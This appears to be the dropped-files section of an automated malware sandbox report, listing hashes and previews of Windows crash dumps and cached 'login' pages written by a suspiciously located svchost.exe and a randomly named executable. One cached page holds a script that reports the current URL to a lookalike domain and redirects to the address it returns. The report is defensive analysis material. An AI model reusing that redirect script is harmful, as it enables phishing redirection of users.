SHA-256:	375D70ACD975992D339A447B1C23051518EB99F1A08701A9454ECBAC8ED61B9C
SHA-512:	B34334BFC66C486B8B58FE5A42FB180729EB7B2814E472344C4836EC0B907447B37971BF4109E1B4CB42DAC9E70657439465ACE64A971106B60282B1C5DD65CA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583734" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER480.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 11 17:51:04 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	584094
Entropy (8bit):	1.5748549077788379
Encrypted:	false
SSDEEP:	1536:BH0sg/+slEmBxB/PeYMERHjJdhbWHKNyWFCPKDyls3TY2iWPcj:uH3tBv/Wf2DjMHKNyWEkHpiN
MD5:	71F52FB587FD34D9F0A92F33A3062161
SHA1:	B3C993706BA0C116B811D278792B7674F781B8BE
SHA-256:	0561B7179AF1644383F990F86B8DEF49DF2A47E13DCC882827C4397EE857D1DA
SHA-512:	84E3B5211883C870E539EE7AFF4BB8829F7D9A5D4F24352EFEDADB561374E2016EF994A85A35EF59929124B5F027960EBB2B12E9F1D8377F5496D32CB6C4DAC6
Malicious:	false
Preview:	MDMP..a..... ........D2g........................8...........d...............T.......8...........T...........`i..>............+...........-..............................................................................eJ......H.......GenuineIntel............T............C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4978.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 11 17:51:20 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	114118
Entropy (8bit):	1.740167141552656
Encrypted:	false
SSDEEP:	384:zGPgO9RCPv5dHpB/AxmPTlODU1YdTFi9VJDv0/:zsgO9RCXJNME0dpiZS
MD5:	50EADD179AC1113130AF219EAF26C979
SHA1:	6CCC62C0FBFD1D620F6942FC5B99A95CA0882915
SHA-256:	CDDFFAEDEAD44F5D3D24ABEAC35FB84BBAAB00DBEE08E69FBA9BE2D969A59715
SHA-512:	17BBA4D380B07E625906BB0B2AB9CA836CD307E280E42903E8FED65E90C2AD3D79EEB540F5BC1FB27B2A8AFE84E970B836F1C1E4D897A8674E1D2231C07D48A3
Malicious:	false
Preview:	MDMP..a..... ........D2g............D...........D...L.......T..."J..........T.......8...........T...........x)..N.......................\|...............................................................................eJ....... ......GenuineIntel............T.......8....C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B00.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8430
Entropy (8bit):	3.713385094044531
Encrypted:	false
SSDEEP:	192:R6l7wVeJJR76d6Y2DvSU9esgmf+KLprG89bvBsfHWKFm:R6lXJT6d6YySU9Vgmf9Jv6fHWx
MD5:	6AA4C3ABE5C3FAAD566BC6751AC48E8A
SHA1:	D4957C79CFA995E64C9662F0BC544FCF70425D23
SHA-256:	72F4D6471FCC535EC3494D86E6AEFD044CBB6AAF39C8BC558EAB2B2C3B1A744B
SHA-512:	2AF3982EFF34AE9C0A293004A9E6215587CEDB1F7DA834468C37377558847FC1D667270DE5DCA416E1D190A0CC9EB7F8F114EF6D6616FAF46077CFD589F524C9
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.8.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B5F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.59816273803339
Encrypted:	false
SSDEEP:	48:cvIwWl8zs+Jg77aI9RuWpW8VYPYm8M4Jw1GFD/+q8rOFMTm9d:uIjf0I77P7VfJw6/rmTm9d
MD5:	4F215E8275EEC34826D71BF642D45BA1
SHA1:	E033405FBA3EA1BCA0A3CB184FAC4EC8B9C98E96
SHA-256:	25AC86546D0C287EDD79D9091B12EA479E4382D8AA9A0480512F607E91B7D050
SHA-512:	6BD68E499BDC36FEE2097AD79B6606B6CD49858CA83DAAF0B33E76D5300983A3C8E59922B28398E55DBE14B3FB05D7E81E9885E4BC65D8CCBD3BE6F6C57AB5CF
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583734" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4DE.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 11 17:51:04 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	988316
Entropy (8bit):	1.7131240883960135
Encrypted:	false
SSDEEP:	1536:hldScto6FivRxeAkb+3s9HQmskgIWjyxqAQvIJ+s43Hpyt2Wq0tY6weF43KiT:XA4o6Fao9HQmsqgyxq9gJ+s43JTk31iX
MD5:	C0D40D97FC6EB2E72A555A632E30487F
SHA1:	84EDE534E848A55BF6F69307EC6FE1C83A2F79D7
SHA-256:	6E769A1DEB87674FEDAE17FF9DE19644583E0B79E1922ECE6E1C50C63AC12438
SHA-512:	A1F02C85FA5A2BB6DC2E578DCDBDC7FA0CB494CB3BDF3D8DC90DBCC077126A64095F6C96F53840E421F66B424E75B0F2888947BB071C41BCBCA814146B74812C
Malicious:	false
Preview:	MDMP..a..... ........D2g.....................................0...e..........T.......8...........T............t..............1...........3..............................................................................eJ......<4......GenuineIntel............T............C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5B9.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 11 17:51:04 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	845370
Entropy (8bit):	1.6762508199950272
Encrypted:	false
SSDEEP:	1536:opKPQ95LeY5aQpVsE2PdcnuG32Mc2w4kVD/mFPCxHi25jpn17KwPKF71Dlhyto7U:opIQ95WQwEMcr64kVzHiYKQU715Rv
MD5:	FEE434063C68BBCE4550127000772865
SHA1:	084FE8CF77E7C4B45A1FAA19C006F47761D76782
SHA-256:	4065EE6865918687988BC91B7D063A2A7ABC1A2B1AE207A44B8BB4E052776638
SHA-512:	AA1F8432AB369D26A86A0614577D2F331E87AAD0893CDF7C6532CF2B45AD8DF4533F8CDA0730A3279C68E28AA2DB0948B7237A53506A07EB55E18190480FD60C
Malicious:	false
Preview:	MDMP..a..... ........D2g............4...............<........%...J..........T.......8...........T............g..B~...........0...........1..............................................................................eJ.......2......GenuineIntel............T............C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8444
Entropy (8bit):	3.711755849069462
Encrypted:	false
SSDEEP:	192:R6l7wVeJJRI6BZ6Y2DVSU9kHgLgmf+KLpra89bgQsfogm:R6lXJQ6BZ6YISU9Hgmf9FgjfW
MD5:	E0C1D428AA38BFE7FCA00794806EA68A
SHA1:	A57932CF2E831806BC2DA5D928A9A4690196733F
SHA-256:	624027D952A0BFE4234B805F176AC0553E099355928EB0F5576A781DF649F3E8
SHA-512:	7AD138080D2D96E43F65B79B30E328E763FD7DDC59F279AA079DDFEFEF1ED96B470B450260656F444D331439AF329D25484DD219BAB81252E5377137E69F2615
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.1.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCA0.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4714
Entropy (8bit):	4.598889790700874
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9RuWpW8VYAYm8M4Jw1GFH+q8rtFMTmWd:uIjfZI77P7VQJwOAmTmWd
MD5:	4DF840BFC1A1180D85923AFD73BC4910
SHA1:	8BC95F5E768304CFD91CA87E0DCA0946097CAEFE
SHA-256:	7C32A3D2B02D1D043719DA009CF4CE0861C9CB80B328B1E073132C5820B0D4D9
SHA-512:	1FE2E078FD05EFE75CB34013870E08B164B74E0D4B60E763DD4FFDF7FCD4D9A0C481EF61E2AF94FE5BB04A26A046D887AB28BA2E06663E3FBE16D199DE5CB6DF
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583733" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF1F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Nov 11 17:51:06 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	1015772
Entropy (8bit):	1.7510087102413143
Encrypted:	false
SSDEEP:	1536:5DebQ7Hdq13qtfdjh8fwrN6fMRdceeByTr0nrqjNCWj2OT/9WqswjBJbWxeRqmOb:5DeOdqKf788RdcXc4rqJ2OTVlsEWFmJe
MD5:	625F76B7A8D1BFE709CFBA09A9FD420A
SHA1:	3BBAF7A3E61FC5CB94AC770114265F6BE4E5B3D6
SHA-256:	3DEF42AB8CB5A8D99B1DE53BF1B9A558E73E891BA665F728C8F455DC0016CDF1
SHA-512:	C726B6AAECC930B4350B111E0B4BFBC22D572CAB4F7BEE466B5D10083ED13375F4FCFC5EF47BA3BA7AFF1B1D65C4E8260F57C2D9DC32F3B31D30821874A97DDF
Malicious:	false
Preview:	MDMP..a..... ........D2g............D...............L.......45...k..........T.......8...........T............q...............2...........4..............................................................................eJ.......4......GenuineIntel............T............C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\login[3].htm

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.470551863591405
Encrypted:	false
SSDEEP:	12:ZM1YKxs2A3aoJSw259ExxClHIlRBnNqKDuI1CA94IQL:ZM1y3aoJ7259EoolRHqFI8k4j
MD5:	3B03D93D3487806337B5C6443CE7A62D
SHA1:	93A7A790BB6348606CBDAF5DAEAAF4EA8CF731D0
SHA-256:	7392749832C70FCFC2D440D7AFC2F880000DD564930D95D634EB1199FA15DE30
SHA-512:	770977BEAEEDAFC5C98D0C32EDC8C6C850F05E9F363BC9997FA73991646B02E5D40CEED0017B06CAEAB0DB86423844BC4B0A9F0DF2D8239230E423A7BFBD4A88
Malicious:	false
Preview:	<html>.<head>. <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" />.</head>.<body>. <script>. let retries = 3, interval = 1000;. (function retry() {. fetch("https://domaincntrol.com/?orighost=" + window.location.href). .then(response => response.json()). .then(data => window.location.href = data). .catch(error => {. if (retries > 0) {. retries--;. setTimeout(retry, interval);. } else {. console.error("Error: ", error);. }. });. })();. </script>.</body>.</html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\login[3].htm

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.802925647778009
Encrypted:	false
SSDEEP:	3:PouVIZx/XMn30EEBuvFfD0OkADYyT0NV9kBbZWM:hax/XW3/p5mmYyT0NVuB9d
MD5:	E89F75F918DBDCEE28604D4E09DD71D7
SHA1:	F9D9055E9878723A12063B47D4A1A5F58C3EB1E9
SHA-256:	6DC9C7FC93BB488BB0520A6C780A8D3C0FB5486A4711ACA49B4C53FAC7393023
SHA-512:	8DF0AB2E3679B64A6174DEFF4259AE5680F88E3AE307E0EA2DFFF88EC4BA14F3477C9FE3A5AA5DA3A8E857601170A5108ED75F6D6975958AC7A314E4A336AED0
Malicious:	false
Preview:	<!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\login[4].htm

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	593
Entropy (8bit):	4.470551863591405
Encrypted:	false
SSDEEP:	12:ZM1YKxs2A3aoJSw259ExxClHIlRBnNqKDuI1CA94IQL:ZM1y3aoJ7259EoolRHqFI8k4j
MD5:	3B03D93D3487806337B5C6443CE7A62D
SHA1:	93A7A790BB6348606CBDAF5DAEAAF4EA8CF731D0
SHA-256:	7392749832C70FCFC2D440D7AFC2F880000DD564930D95D634EB1199FA15DE30
SHA-512:	770977BEAEEDAFC5C98D0C32EDC8C6C850F05E9F363BC9997FA73991646B02E5D40CEED0017B06CAEAB0DB86423844BC4B0A9F0DF2D8239230E423A7BFBD4A88
Malicious:	false
Preview:	<html>.<head>. <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" />.</head>.<body>. <script>. let retries = 3, interval = 1000;. (function retry() {. fetch("https://domaincntrol.com/?orighost=" + window.location.href). .then(response => response.json()). .then(data => window.location.href = data). .catch(error => {. if (retries > 0) {. retries--;. setTimeout(retry, interval);. } else {. console.error("Error: ", error);. }. });. })();. </script>.</body>.</html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\login[5].htm

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	271
Entropy (8bit):	4.749712087982617
Encrypted:	false
SSDEEP:	6:q43t0t1Ah/QRmApC0M8SIXqlhphGIdPmHQhXlJEGmTAXfGb:T81Y/QDCL8ElgMRlyHTAPGb
MD5:	47E7A4B4DAF650B709C93B18E23EB376
SHA1:	D7A19DDAB1A9BB567F0E0279C44BBEBED3200C85
SHA-256:	D74FBC8646719E8D2EB6C2D92A56FEA890358B9D57173746A5E6B658ABAAED59
SHA-512:	2307A1BFF8B8938E8976EA64AF7A79E4B3D88256C19307F50033AA1418C535AF0FEA639B292940234427857C22738B90FA5B1651ACAB4A62C9271BED12665BDB
Malicious:	false
Preview:	<html>..<head>..<meta name="robots" content="noarchive" />..<meta name="googlebot" content="nosnippet" />..</head>..<body>..<div align=center>..<h3>Error. Page cannot be displayed. Please contact your service provider for more details. (10)</h3>..</div>..</body>..</html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\login[2].htm

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.43096450882803
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
MD5:	7A5DF79FBAAFF2C161C6E29461785403
SHA1:	89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
SHA-256:	B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
SHA-512:	19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\login[3].htm

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.43096450882803
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
MD5:	7A5DF79FBAAFF2C161C6E29461785403
SHA1:	89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
SHA-256:	B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
SHA-512:	19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\login[5].htm

Download File

Process:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.43096450882803
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
MD5:	7A5DF79FBAAFF2C161C6E29461785403
SHA1:	89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
SHA-256:	B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
SHA-512:	19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\login[9].htm

Download File

Process:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.43096450882803
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
MD5:	7A5DF79FBAAFF2C161C6E29461785403
SHA1:	89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
SHA-256:	B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
SHA-512:	19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\login[1].htm

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.802925647778009
Encrypted:	false
SSDEEP:	3:PouVIZx/XMn30EEBuvFfD0OkADYyT0NV9kBbZWM:hax/XW3/p5mmYyT0NVuB9d
MD5:	E89F75F918DBDCEE28604D4E09DD71D7
SHA1:	F9D9055E9878723A12063B47D4A1A5F58C3EB1E9
SHA-256:	6DC9C7FC93BB488BB0520A6C780A8D3C0FB5486A4711ACA49B4C53FAC7393023
SHA-512:	8DF0AB2E3679B64A6174DEFF4259AE5680F88E3AE307E0EA2DFFF88EC4BA14F3477C9FE3A5AA5DA3A8E857601170A5108ED75F6D6975958AC7A314E4A336AED0
Malicious:	false
Preview:	<!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\login[4].htm

Download File

Process:	C:\Windows\apppatch\svchost.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.43096450882803
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
MD5:	7A5DF79FBAAFF2C161C6E29461785403
SHA1:	89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
SHA-256:	B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
SHA-512:	19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\login[7].htm

Download File

Process:	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.43096450882803
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGpvGyy:q43tISl6kXiMIWSU6XlI5LP8IpfGpfy
MD5:	7A5DF79FBAAFF2C161C6E29461785403
SHA1:	89B90DFB141E4B0F97D15FEB34A49F9EEC64DC52
SHA-256:	B1C52A7C21C4B21BF69866D7859284068D6ECC90306FE22076F81DAA0176A7ED
SHA-512:	19F00A755F34E3770F1DD0AB698056BF60E802EE7E941662054CF61565A8C06639C3AAFE1E93B0BBF446D9F7D08F5E827648311703E8718252597B78734960A5
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..l>....0....

C:\Users\user\AppData\Roaming\7f1bf99b\sysinfo.log

Download File

